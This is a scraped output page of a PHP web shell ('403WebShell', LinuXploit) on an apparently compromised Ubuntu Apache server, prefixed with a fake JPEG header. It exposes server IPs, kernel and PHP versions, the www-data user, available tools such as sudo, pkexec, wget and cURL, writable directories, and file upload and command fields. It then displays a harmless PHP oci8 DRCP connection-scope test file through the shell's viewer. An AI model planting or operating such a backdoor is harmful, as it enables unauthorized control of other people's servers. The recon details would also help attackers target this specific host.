????JFIF??x?x????'403WebShell
403Webshell
Server IP : 79.136.114.73  /  Your IP : 3.17.74.181
Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f
System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64
User : www-data ( 33)
PHP Version : 5.5.9-1ubuntu4.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/self/root/home/b8009/php-5.6.22/ext/oci8/tests/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/root/home/b8009/php-5.6.22/ext/oci8/tests/drcp_scope2.phpt
--TEST--
DRCP: oci_new_connect() and oci_connect with scope end when oci8.old_oci_close_semantics OFF
--SKIPIF--
<?php if (!extension_loaded('oci8')) die("skip no oci8 extension"); ?>
--INI--
oci8.old_oci_close_semantics=0
--FILE--
<?php

require dirname(__FILE__)."/drcp_functions.inc";
require dirname(__FILE__)."/details.inc";

// Scope considered here is the  functional scope
// Test will open a connection within a function (function 1).
// Update a table
// Open another connection from function 2.
// When the scope ends the txn is rolled back and hence the updated value
// will not be  reflected for oci_connect and oci_new_connect.

// Create the table
$c = oci_new_connect($user,$password,$dbase);
@drcp_drop_table($c);
drcp_create_table($c);

// OCI_NEW_CONNECT
$conn_type = 1;
echo "This is with a OCI_NEW_CONNECT\n";
function1($user,$password,$dbase,$conn_type);

// Should return the OLD value
function2($user,$password,$dbase,$conn_type);

// OCI_CONNECT
$conn_type = 2;
echo "\n\nThis is with a OCI_CONNECT\n";
function1($user,$password,$dbase,$conn_type);

// Should return the OLD value
function2($user,$password,$dbase,$conn_type);

//This is the first scope for the script

function function1($user,$password,$dbase,$conn_type)
{
	switch($conn_type)
	{
	case 1:
		var_dump($conn1 = oci_new_connect($user,$password,$dbase));
		break;
	case 2:
		var_dump($conn1 = oci_connect($user,$password,$dbase));
		break;
	}
	drcp_update_table($conn1);
}

// This is the second scope

function function2($user,$password,$dbase,$conn_type)
{
	switch($conn_type)
	{
	case 1:
		var_dump($conn1 = oci_new_connect($user,$password,$dbase));
		break;
	case 2:
		var_dump($conn1 = oci_connect($user,$password,$dbase));
		break;
	}
	drcp_select_value($conn1);
}
drcp_drop_table($c);
oci_close($c);

echo "Done\n";

?>
--EXPECTF--
This is with a OCI_NEW_CONNECT
resource(%d) of type (oci8 connection)
Update done-- DEPT value has been set to NEWDEPT
resource(%d) of type (oci8 connection)
The value of DEPT for id 105 is HR


This is with a OCI_CONNECT
resource(%d) of type (oci8 connection)
Update done-- DEPT value has been set to NEWDEPT
resource(%d) of type (oci8 connection)
The value of DEPT for id 105 is HR
Done

Youez - 2016 - github.com/yon3zu
LinuXploit